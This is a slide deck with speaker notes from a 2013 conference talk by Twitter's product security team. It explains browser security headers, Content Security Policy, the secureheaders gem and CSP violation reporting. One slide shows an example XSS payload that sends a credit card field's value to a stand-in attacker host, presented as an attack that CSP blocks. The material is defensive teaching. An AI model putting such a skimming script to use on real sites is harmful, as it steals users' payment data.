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Más de Neil Matatall
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- 1. @ LASCONATX April 30, 2013 CSP To the Rescue
- 2. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity It’s all about me I’ve been called a jackass I’ve been called an “appsechole” I have opinions Opinions are often wrong Please disagree with me That’s how we learn
- 5. Code review External reports Pen testing Static analysis tools Dynamic analysis tools CSP
- 6. Get the right information to the right people
- 7. Find bugs as quickly as possible
- 8. Analyze from many angles
- 9. Help people help themselves
- 10. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Do you use these? Content security policy X-Frame-Options HTTP Strict Transport Security X-Xss-Protection X-Content-Type-Options
- 11. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity I’m already bored Time to get awesomer
- 12. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Security headers Leverage the browser for security
- 13. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Sweeeeet. I don’t have write secure code!
- 14. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Time of convergence
- 15. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Should you?
- 16. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity X-ContentType-Options Fixes mime sniffing attacks Only applies to IE, because only IE would do something like this X-Content-Type-Options = ‘nosniff’ zzzzZZZZZZzzzzz
- 17. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity X-Xss-Protection Use the browser’s built in XSS Auditor X-Xss-Protection: [0-1](; mode=block)? X-Xss-Protection: 1; mode=block zzzzZZZ... huh? zzzzzzzz
- 18. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity X-Frame-Options Protects you from most classes of Clickjacking X-Frame-Options: DENY X-Frame-Options: SAMEORIGIN X-Frame-Options: ALLOW FROM example.com zzz... oh hey thats cool. Don’t frame my stuff.
- 19. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity X-Frame-Options
- 20. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Firesheep/SSL Strip Given I don’t have an HSTS header And I have a session When I visit http://example.com Then I am pwned
- 21. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Other ssl fails Posting passwords over HTTP Loading mixed content Using protocol relative URLS
- 22. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Strict Transport Security
- 23. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity How hard is it to use? Base Case Strict-transport-security: max-age=10000000 Do all of your subdomains support SSL? Strict-transport-security: max-age=10000000; includeSubdomains
- 24. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Content secur-a-wat? Content security policy is reshaping the security model It is a complicated spec with great differences across browsers It is not widely adopted However! It completely eliminates reflected and stored XSS It ensures that you never load mixed content It allows you to accept arbitrary html code from users
- 25. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Wat? Sounds cool. script-src style-src img-src default-src frame-src connect-src font-src media-src object-src report-uri
- 26. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity QuickTime™ and a H.264 decompressor are needed to see this picture.
- 27. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Get rid of XSS, eh? A script-src directive that doesn’t contain ‘unsafe-inline’ almost eliminates most forms of cross site scripting. I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT I WILL NOT WRITE INLINE JAVASCRIPT
- 29. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity
- 30. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity But I have to... OK, then I’ll inject: <script> var image = new Image(); image.src = “cyberhacker.com/steal?data=”+ $(‘#credit_card’).val(); </script> FALSE! img-src violation, no XHR allowed
- 31. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Inline css too? WTF?
- 33. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity How to apply? Secure headers! (poor name, I know) Open sourced earlier this year https://github.com/twitter/secureheaders
- 34. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity How does it work? It sets a before_filter that applies each header Values are based on options passed to filter, or in an initializer Easily overridden Secure by default!!!
- 35. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity What about that security policy thingy There are > 6 differences between these two header values
- 36. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Yay for standards https://t.co/f26WWx3r7y
- 37. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity
- 38. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Long hair don’t care About browser inconsistencies
- 39. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity W3 Get involved!!! Key results from F2F in San Jose
- 40. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Line numbers and column numbers Previously, a report that was caused by inline scripts/styles was cryptic Original FF implementation contained a script-sample Evals/inserting script into DOM would be buried in minified JS
- 41. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity “sudo for javascript” Bookmarklets/plugins/etc How should they behave? Bookmarklets show clear intention Plugins somewhat questionable Need to live outside the control of the parent page But how?
- 42. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Reporting cross-origin Original implementation did not allow CSP reports to be sent to a URI that does not match the same origin policy, using the eTLD e.g. https://ads.twitter.com can send reports to https://twitter.com, but not http://twitter.com or https://support.twitter.com or https://twitter.com:3000 As a result of the w3 face to face, the 1.0 spec shall say that reports can be sent anywhere! However, cross-origin requests not allowed by CORS will be “unauthenticated”
- 43. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity script-(nonce|hash) The clash of the titans
- 44. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Future
- 45. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity You mean there’s more on CSP? The browser sends reports!
- 46. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity What does the report look like? { "csp-report"=> { "document-uri"=>"http://localhost:3000/home", "referrer"=>"", "blocked-uri"=>"ws://localhost:35729/livereload", "violated-directive"=>"xhr-src ws://localhost.twitter.com:*" } }
- 47. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Quiz: what does this report indicate? { "csp-report"=> { "document-uri"=>"http://example.com/welcome", "referrer"=>"", "blocked-uri"=>"self", "violated-directive"=>"inline script base restriction", "source-file"=>"http://example.com/welcome", "script-sample"=>"alert(1)", "line-number"=>81, "column-number"=>1463, } }
- 48. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Monitor and Tune ALL the things
- 49. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Splunk
- 50. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Trending and anomalies
- 51. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity
- 52. @LASCONATX April 2013 @ndm | @SeeEssPee | @sadb | @twittersecurity Header status page
Notas del editor
- My name is Alex Smolen, this is Neil Matatall and this is Justin Collins. We're on Twitter's Product Security team and today we're going to talk to you about security automation at Twitter.
- Content security policy defines what can "run" on a page and any deviation creates an alert. And Twitter was an early adopter. We saw that this could not only potentially protect our users, but give a large number of data points as to what the user is experiencing. We have used CSP to help detect XSS and mixed-content by leveraging the reports sent to us by the users' browsers. This compliments the static and dynamic analysis provided by brakeman and phantom-gang in a unique way as we are receiving information from the user. We send the CSP reports to a central scribe host (describe: massively scalable endpoint to collect and aggregate large amounts of data) which writes to hadoop file system which we can run "big data" reports against using pig/scalding. We send this information to SADB where we can search and sort more easily.
- With the help of whitehats, we tracked down and fixed a lot of these bugs.
- For example, we can use static analysis to check for common coding problems, dynamic analysis for obvious problems on websites, and maybe CSP to get XSS reports to us sooner
- The first is that we believe writing secure code is not just a technical challenge, but also a social one, and tools should be built based on supporting and enhancing existing social processes. Unless it's one person writing, analyzing, and shipping code, then communicating about vulnerabilities is just as a important as finding them. And effective communication is really hard. We're not talking about emailing a huge report of maybe bugs to a project manager. We're talking about delivering all of the necessary information to diagnose and fix a vulnerability in a simple and user-centered view.
- The next principle is about finding and fixing things as quickly as possible. It's not a new idea, but as a guiding principle it leads you to be ruthless about bottlenecks, latencies, and root causes.
- There's a lot of ways to find security problems, and you get diminishing returns from each. We have tools that live on our servers, tools that live outside our server, tools that live in our users browsers, all meant to catch different types of issues.
- Most people want to do the right thing. We want to make it easy for them.
- Take a survey
- Many of these headers not encourage best practices while providing a better user experience and saving resources
- save resources since nothing is framed
- Twitter has had clickjacking problems in the past. While xfo does not solve all clickjacking issues, it does solve a very common case and is generally a very quick win that is easy to integrate.
- hsts preload and max-age
- Explain how redirecting to https doesn’t protect the initial request Save round trip
- Explain mixed content: MITM assets Firesheep Cookies sent Supported in webkit (phantomjs) accept arbitrary and safe because inserted scripts won’t execute on* events javascript uris restrict using eval
- script tag on* events javascript: hrefs Even mention inline style As a policy, no inline script should be added, moratorium on inline script well received
- A report from one of our wonderful whitehat reporters gave us a drop of happiness when he said that a successful xss attempt had been thwarted by CSP. TRANSITION: we took stock of what headers were implemented on our properties, and we were not satisfied. They were applied inconsistently and a by a variety of one-off methods.
- Mention github blog post There are a few, mostly well known, ways to solve this - data attributes, blocks of code parsed as json mention the application of the header
- strings or hashes
- Caching and hosted content concerns
- Talk about custom elements, being able to attach one way behavior like framing in a sandbox solving the clickjackable follow button html dom aware templating resource integrity
- Yeah, some browsers protect you, but not all support it
- Given that the browsers give us some baked in security and they take a relatively small amount of effort to implement, why aren't they more common? It’s a non-intrusive, easily configured way of enxuring that all requests get the necessary headers applied. We created a gem for Rails applications, and we intend to apply the same logic to our other frameworks as well.
- Content security policy defines what can "run" on a page and any deviation creates an alert. And Twitter was an early adopter. We saw that this could not only potentially protect our users, but give a large number of data points as to what the user is experiencing. We have used CSP to help detect XSS and mixed-content by leveraging the reports sent to us by the users' browsers. This compliments the static and dynamic analysis provided by brakeman and phantom-gang in a unique way as we are receiving information from the user. We send the CSP reports to a central scribe host (describe: massively scalable endpoint to collect and aggregate large amounts of data) which writes to hadoop file system which we can run "big data" reports against using pig/scalding. We send this information to SADB where we can search and sort more easily.